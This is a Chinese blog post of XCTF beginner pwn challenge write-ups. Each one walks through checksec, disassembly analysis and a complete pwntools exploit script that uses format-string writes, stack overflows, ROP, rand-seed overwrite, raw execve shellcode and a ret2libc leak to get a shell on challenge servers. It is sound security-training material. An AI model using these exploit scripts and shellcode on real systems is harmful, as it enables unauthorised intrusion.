xctf新手区-pwn题解

这篇博客用来记录攻防世界pwn新手区刷题过程。。。

0x01 get_shell

题目描述: 运行就能拿到shell呢,真的

直接使用nc连接远程端口就可返回shell

2020-06-05-19-56-28

0x02 CGfsb

题目描述: 菜鸡面对着pringf发愁,他不知道prinf除了输出还有什么作用

首先使用checksec查看文件安全机制

2020-06-05-20-00-55

关于checksec的使用可以参考checksec工具使用

将程序拖入IDA查看反汇编代码

2020-06-05-20-06-05

显然在程序的第23行存在格式化字符串漏洞,而且发现关键代码system("cat flag),条件是使得pwnme值为8;
关于格式化字符串漏洞可参考格式化字符串漏洞

利用格式化字符串漏洞修改pwnme的值
解题脚本:

#!/usr/bin/python
#coding=utf-8

from pwn import *
io = remote('220.249.52.133','33985')
#context.log_level = 'debug'
io.recvuntil('name:\n')
io.sendline('aa')
io.recvuntil('please:\n')
pwnme_addr = p32(0x0804a068)    # 获取pwnme的地址
payload = pwnme_addr + '%4c%10$n'   # 构造payload
io.sendline(payload)
print io.recvall()  # recvall()输出所有,直到EOF

关于pwn工具的使用可参考pwntools使用

0x03 when_did_you_born

题目描述: 只要知道你的年龄就能获得flag,但菜鸡发现无论如何输入都不正确,怎么办

查看安全机制

2020-06-05-21-04-03

拖入IDA查看反汇编代码

2020-06-05-21-10-40

发现危险函数gets,存在溢出漏洞,通过v4溢出修改v5的值
解题脚本:

#!/usr/bin/python
#coding=utf-8

from pwn import *
io = remote('220.249.52.133','34377')
io.recvuntil('Birth?\n')
io.sendline('33')
io.recvuntil('Name?\n')
payload = 'A'*8+p64(1926)
io.sendline(payload)
print io.recvall()

0x04 hello_pwn

题目描述: pwn!,segment fault!菜鸡陷入了深思

查看安全机制

2020-06-05-21-33-58

拖入IDA查看反汇编代码

2020-06-05-21-37-38

read函数处可能造成溢出

由源代码可知只需使if中等式成立便可以得到flag
跟进变量unk_601068,发现dword_60106C就在下面将,则可以通过read修改其值

2020-06-05-21-40-22

解题脚本:

#!/usr/bin/python
#coding=utf-8

from pwn import *
io = remote('220.249.52.133','30839')
io.recvuntil('for bof\n')
payload = 'A'*4+p64(1853186401)
io.sendline(payload)
print io.recvall()

0x05 level0

题目描述: 菜鸡了解了什么是溢出,他相信自己能得到shell

查看安全机制

2020-06-05-21-46-06

拖入IDA查看反汇编代码

2020-06-05-21-48-39

直接进入vulnerable_function()

2020-06-05-21-49-50

由于read函数所能读入的最大字节要大于buf与栈底的距离,所以存在栈溢出漏洞

解题脚本:

#!/usr/bin/python
#coding=utf-8

from pwn import *
io = remote('220.249.52.133','36544')
io.recvuntil('World\n')

payload = 'A'*0x80+'A'*0x08+p64(0x400596)
io.sendline(payload)
io.interactive()

0x06 level2

题目描述: 菜鸡请教大神如何获得flag,大神告诉他‘使用面向返回的编程(ROP)就可以了’

查看保护机制

2020-06-05-22-34-00

拖入IDA查看反汇编代码

2020-06-05-22-42-59

level0同样的溢出漏洞,只不过在程序里找不到现成的可以获取shell的函数了,所以需要将程序中的字符串当做system的参数传入

在IDA中使用shift+F12可以查看程序中的所有字符串及其位置

2020-06-05-22-46-27

看到有/bin/sh字符串,地址为0x0804A024

溢出原理图

2020-06-05-23-01-54

解题脚本:

#!/usr/bin/python
#coding=utf-8

from pwn import *
io = remote('220.249.52.133','31250')
io.recvuntil('Input:\n')
payload = 'A'*0x88+'A'*0x04+p32(0x08048320)+'A'*0x4+p32(0x0804A024)
# 调用一个新的函数时,会将esp的值赋值到ebp上去,所以不用管ebp赋值到了一个无效地址,依然可以恢复正常工作
io.sendline(payload)
io.interactive()

0x07 guess_num

菜鸡在玩一个猜数字的游戏,但他无论如何都银不了,你能帮助他么

查看安全机制

2020-06-05-23-04-03

可以看到这次安全机制基本上都开了

拖入IDA查看反汇编代码

2020-06-05-23-21-54

gets存在溢出漏洞,可以通过gets修改随即种子seed的值

整个程序的逻辑就是猜数字,猜中十次才可以的到flag;
这里使用rand来生成随机数,然而rand生成的随机数并不是真正的随机数,只是在一定范围内随机,实际上是一段数字的循环,这些数字取决于随机种子。在调用rand()函数时,必须先利用srand()设好随机数种子,如果未设随机数种子,rand()在调用时会自动设随机数种子为1;
正常情况下应该使种子随生成的随机数而变化,即每生成一次随机数更改一次种子

使用python自带的ctypes模块进行python和c混合编程
使用ldd查看guss_num所使用的共享库libc

2020-06-05-23-42-17

可以看到libc.so.6指向的文件/lib/x86_64-linux-gnu/libc.so.6可当做共享库载入python中,载入之后就可以通过python调用共享库中的函数,实现混合编程

解题脚本:

#!/usr/bin/python
#coding=utf-8

from pwn import *
from ctypes import *
io = remote('220.249.52.133','43798')
io.recvuntil('name:')
payload = 'A'*0x20+p32(1)   # 由于seed[0]大小为32位,所以使用p32
io.sendline(payload)

libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
libc.srand(1)

for i in range(10):
        num = str(libc.rand()%6+1)
        io.recvuntil('number:')
        io.sendline(num)
print io.recvall()

注: 最后的print io.recvall()可以用io.interactive()代替,不过使用后者会返回一个无效的命令行

0x08 cgpwn2

题目描述: 菜鸡认为自己需要一个字符串

查看安全机制

2020-06-06-08-05-57

拖入IDA查看反汇编代码
直接跟进hello

2020-06-06-08-27-47

显然在gets()函数存在溢出
然而程序中有现成system函数,却找不到可以利用的字符串,考率到前面的fgets函数,可以尝试将所需要的字符串参数传入name变量中,在将name作为system的参数传入

解题脚本:

#!/usr/bin/python
#coding=utf-8

from pwn import *
io = remote('220.249.52.133','42443')
io.recvuntil('name\n')
io.sendline('/bin/sh')
io.recvuntil('here:\n')
name_addr = 0x0804A080
payload = 'A'*0x26+'A'*4+p32(0x08048420)+'A'*4+p32(name_addr)
io.sendline(payload)
io.interactive()

0x09 string

题目描述: 菜鸡遇到了Dragon,有一位巫师可以帮助他逃离危险,但似乎需要一些要求

查看程序安全机制

2020-06-06-13-44-13

拖入IDA查看反汇编代码

2020-06-06-13-52-14

输出了V4的值,其他暂未发现异常,跟进查看
2020-06-06-13-53-23

创建了一个新的游戏人物,同时调用了三个函数,依次跟进查看

2020-06-06-13-54-49

在第一个函数中碰到了一个循环,必须输入east才能跳出循环

2020-06-06-13-56-49

在第二个函数中发现了格式化字符串漏洞,触发条件为v1==1

2020-06-06-13-59-15

在第三个函数中发现了关键代码,程序将用户输入的字符强制转化成函数执行,执行的条件就是*a1 == a1[1],逆推发现a1就是V3,所以条件就是V3[0]=V3[1]就是这里可以用来输入shellcode.

攻击思路: 利用格式化字符创漏洞修改V3[0]的值,再输入一个shellcode获取shell,可以在http://shell-storm.org/shellcode/网站上找到对应的shellcode来获取shell

解题脚本:

#!/usr/bin/python
#coding=utf-8

from pwn import *
io = remote('220.249.52.133','35103')
io.recvuntil('secret[0] is ')
v3 = int(io.recvuntil('\n')[:-1],16)
io.recvuntil('name be:\n')
io.sendline('aa')
io.recvuntil('east or up?:\n')
io.sendline('east')
io.recvuntil('or leave(0)?:\n')
io.sendline('1')
io.recvuntil('address\'\n')
io.sendline(str(v3))    # str用于将十进制以字符串形式输出,例:111输出'111'
io.recvuntil(' wish is:\n')
payload = '%85c%7$n'    
# 64位程序格式化字符串漏洞中,格式化字符串的第六个偏移地址是调用printf的函数的栈上的第一个QWORD(64位)
# 而第二个QWORD即为V2的值
# 所以这里我们的偏移地址设为7,修改V2所指向的V3[0]
io.sendline(payload)
io.recvuntil('YOU SPELL\n')
shellcode = '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'
io.sendline(shellcode)
io.interactive()

0x0A int_overflow

题目描述: 菜鸡感觉这题似乎没有办法溢出,真的么?

查看安全机制

2020-06-06-16-06-33

拖入IDA查看反汇编代码
跟近查看,进入到chek_passwd

2020-06-06-16-22-15

出现危险函数strcpy,存在栈溢出漏洞,但是要想触发漏洞,必须使得v3在3和8之间
v3的值为s字符串的长度,根据题目提示想到整数溢出,利用整数溢出触发漏洞

解题脚本:

#!/usr/bin/python
#coding=utf-8

from pwn import *
io = remote('220.249.52.133','46540')
io.recvuntil('choice:')
io.sendline('1')
io.recvuntil('username:\n')
io.sendline('aa')
io.recvuntil('passwd:\n')
# v3大小为8个字节,范围为0~255
payload = 'A'*0x18+p32(0x0804868B)+'A'*(259-0x18-4)
io.sendline(payload)
io.interactive()

0x0B level3

题目描述: libc!libc!这次没有system,你能帮菜鸡解决这个难题么?

题目提供的文件是一个压缩包,解压之后有两个文件,一个是可执行文件,还有一个动态链接库文件
关于plt、got、动态链接之间的关系可以参考

libc_32.so.6中存放的是程序运行时所用到的外部函数,通过PLT表和GOT表连接到主程序中

查看安全机制

2020-06-06-16-58-09

没有开启PIE,所以libc中函数的相对地址不发生变化(程序自带函数地址也不会发生变化),也就是说只要知道libc在程序中的的基址,根据偏移地址就可以知道任何函数在程序中的实际地址

拖入IDA查看反汇编代码

2020-06-06-17-35-00

vulnerable_function()read()函数存在溢出,然而程序中并没有现成的system函数,所以必须想办法调用动态连接库中的函数

攻击思路: 利用栈溢出返回到write函数(注意:只能通过plt调用函数,不能直接跳转到got表),同时传入write函数的got表的地址,由于程序没有开启PIE保护,所以程序中plt表和got表的位置都是不会变化的,函数的相对地址也是固定的,所以可以通过本地的程序获取write函数got表的地址,然后输出write函数实际地址。
将得到的实际地址与libc中的write的偏移地址相减,则可以得到libc的基地址,加上system函数在libc里面的偏移地址,就可以得到system函数在程序中的实际地址
此时利用溢出再次控制返回函数到main函数,二次攻击溢出返回到system函数,传入/bin/sh参数,就可以得到shell

注: 字符串/bin/sh可以在libc中找到,查找方法如下

strings -a -t x libc_32.so.6 | grep "/bin/sh"

解题脚本:

#!/usr/bin/python
#coding=utf-8

from pwn import *
elf = ELF('./level3')
libc = ELF('./libc_32.so.6')
write_plt = elf.plt['write']    #返回的是数字,非字符
write_got = elf.got['write']
main_addr = elf.symbols['main']
write_off = libc.symbols['write']

io = remote('220.249.52.133','47190')
io.recvuntil('Input:\n')
payload = 'A'*0x8c+p32(write_plt)+p32(main_addr)
payload += p32(1)+p32(write_got)+p32(4) #传入参数write(1,write_got,4)
io.sendline(payload)
write_addr = u32(io.recv())
io.recvuntil('Input:\n')

libc_addr = write_addr-write_off        #计算出libc基址
system_addr = libc.symbols['system']+libc_addr  #libc基址加上system偏移地址得到实际地址
bin_sh_addr = 0x15902b + libc_addr      #基址加上使用strings得到的/bin/sh的偏移地址
payload = 'A'*0x8c+p32(system_addr)+'A'*4+p32(bin_sh_addr)
io.sendline(payload)
io.interactive()

参考链接
https://www.cnblogs.com/at0de/p/11269120.html
https://bbs.pediy.com/thread-254858.htm
https://www.jianshu.com/p/457520f97a76

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 158,736评论 4 362
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 67,167评论 1 291
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 108,442评论 0 243
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 43,902评论 0 204
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 52,302评论 3 287
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,573评论 1 216
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,847评论 2 312
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,562评论 0 197
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,260评论 1 241
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,531评论 2 245
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 32,021评论 1 258
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,367评论 2 253
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 33,016评论 3 235
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,068评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,827评论 0 194
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,610评论 2 274
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,514评论 2 269

推荐阅读更多精彩内容

  • 新手练习 CGfsb 简单的格式化字符串 get_shell nc 上去直接 cat flag hello_pwn...
    Nevv阅读 3,222评论 0 6
  • 0x01 Start checksec 的时候可以看到程序没有打开任何的安全保护措施,然后查看IDA下的汇编代码,...
    Nevv阅读 1,619评论 0 2
  • 1.guess_num 用checksec查看文件属性: 用64位的IDA打开: 因为gets()函数不受输入限制...
    呼噜84阅读 543评论 0 1
  • 07.19 CTF特训营---REVERSE阅读P208——P 1、X86指令体系 寄存器组 汇编指令集:Inte...
    gufsicsxzf阅读 1,368评论 0 0
  • 久违的晴天,家长会。 家长大会开好到教室时,离放学已经没多少时间了。班主任说已经安排了三个家长分享经验。 放学铃声...
    飘雪儿5阅读 7,401评论 16 21